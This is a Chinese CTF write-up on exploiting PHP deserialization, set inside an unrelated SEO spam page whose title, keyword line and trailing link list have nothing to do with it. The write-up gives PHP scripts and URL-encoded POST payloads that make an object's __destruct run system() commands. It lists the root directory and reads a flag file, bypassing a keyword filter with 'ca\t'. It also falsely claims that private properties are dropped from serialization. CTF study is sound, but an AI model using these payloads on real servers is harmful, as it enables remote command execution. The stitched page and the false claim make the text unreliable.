当前位置: 首页 > news >正文

浙江移动网站建设制作百度推广收费标准

浙江移动网站建设制作,百度推广收费标准,设计网站免费下载,开发公司替业主承担物业费承诺书代码审计: 定义了一个eval类,该类下有一个私有变量cmd和公有成员函数destruct(),该函数在对象的所有引用都被删除或类被销毁时会自动调用; 调用该函数则会执行一个正则表达式进行正则匹配,过滤掉了一些常用命令和bas…

代码审计:

定义了一个eval类,该类下有一个私有变量cmd和公有成员函数destruct(),该函数在对象的所有引用都被删除或类被销毁时会自动调用;

调用该函数则会执行一个正则表达式进行正则匹配,过滤掉了一些常用命令和base编码,

i表示不区分大小写,因此我们无法使用大小写来绕过;

如果满足if条件,没有被匹配到,则会调用system函数,执行我们传入的cmd内容;

最终要求我们使用post请求给unser传参,传入后会对其进行反序列化。

关于反序列化漏洞基础知识以及PHP魔法函数、pop链构造请参考我之前的博客:

http://t.csdnimg.cn/UqIXd

http://t.csdnimg.cn/Crxdl

http://t.csdnimg.cn/vGNgX

http://t.csdnimg.cn/mdplc

OK咱们继续说这道题,这里考的就是php反序列化漏洞

编写序列化脚本:先将原本的eval类的内容复制进来

错误示例:

<?php
class evil {private $cmd;public function __destruct(){if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);}}
}$e = new evil();
$e->cmd = 'ls';
echo serialize($e)?>

创建了一个 evil 对象并设置了 cmd 属性,然后对对象进行了序列化。但要注意,在 PHP 中,如果一个类包含私有属性,并且你尝试序列化该对象,私有属性的值将不会被包括在序列化结果中。因此,在反序列化时,你无法访问 cmd 属性的值,因为它不会被正确反序列化。

对于私有变量,我们一般在类中直接对其修改:

<?php
class evil {private $cmd='ls';public function __destruct(){if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);}}
}$e = new evil();
echo serialize($e)?>

O:4:"evil":1:{s:9:"evil cmd";s:2:"ls";} 

虽然序列化成功了,但是将结果传入发现没反应

应该是我们传入的内容被进行了一次url解码

因此我们对结果再进行url编码:

<?php
class evil {private $cmd='ls';public function __destruct(){if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);}}
}$e = new evil();
echo urlencode(serialize($e));?>

 构造payload:

post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A2%3A%22ls%22%3B%7D

回显成功

构造payload进行目录穿越:

<?php
class evil {private $cmd='ls ../../../';public function __destruct(){if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);}}
}$e = new evil();
echo urlencode((serialize($e)))?>

post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A12%3A%22ls+..%2F..%2F..%2F%22%3B%7D

在根目录下找到flag 

由于cat,tac被过滤了,这里使用转义符号进行绕过

<?php
class evil {private $cmd='ca\t /th1s_1s_fffflllll4444aaaggggg';public function __destruct(){if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){@system($this->cmd);}}
}$e = new evil();
echo urlencode((serialize($e)))?>

构造payload:

post:unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22ca%5Ct+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

flag{1f321f7f-2a47-421e-839b-bb899cb523b0}

http://www.mnyf.cn/news/48054.html

相关文章:

  • 做网站买一个域名多少钱湘潭网站seo
  • 网页设计与制作过程中遇到的问题辽宁好的百度seo公司
  • 赤峰微网站建设百度竞价排名是以什么形式来计费的广告?
  • 南京我爱我家网站建设新村二手房视频营销案例
  • 深圳教育科技网站建设自媒体发布平台
  • 网站建设时时彩百家号关键词排名
  • 手机网站 广告网络广告的形式
  • 网页设计毕业论文500字网站seo内容优化
  • 如何做房地产网站超级外链推广
  • 前端后端分别是什么意思seo顾问是什么
  • 模板网站判定免费友情链接交换平台
  • 做图表好看的网站seo工资待遇 seo工资多少
  • 有没有做批发的网站seo类目链接优化
  • 做电影网站的资源从哪里换广州官方新闻
  • wordpress网站采集插件微信朋友圈推广软文
  • 制作论坛做网站新网
  • 论坛型网站开发seo运营工作内容
  • 支持付费下载系统的网站模板或建站软件搜狗推广效果好吗
  • 聊城做手机网站建设百度推广怎么使用教程
  • 容桂电子商务网站建设全网霸屏推广系统
  • 个人做网站流程南京seo网站优化推广
  • 网页如何保存密码百度小程序seo
  • 旅游网站的设计与制作html北京专业seo公司
  • 网银汇款企业做网站用途写什么深圳疫情最新情况
  • 手机网页版浏览器百度seo关键词排名s
  • 哪些网站动效做的不错seo 优化
  • 如何能快速搜到新做网站链接汕头seo收费
  • asp.net 做网站源代码推广普通话黑板报
  • 网站开发哪便宜seo入门培训班
  • 做视频网站要什么格式好灰色关键词排名优化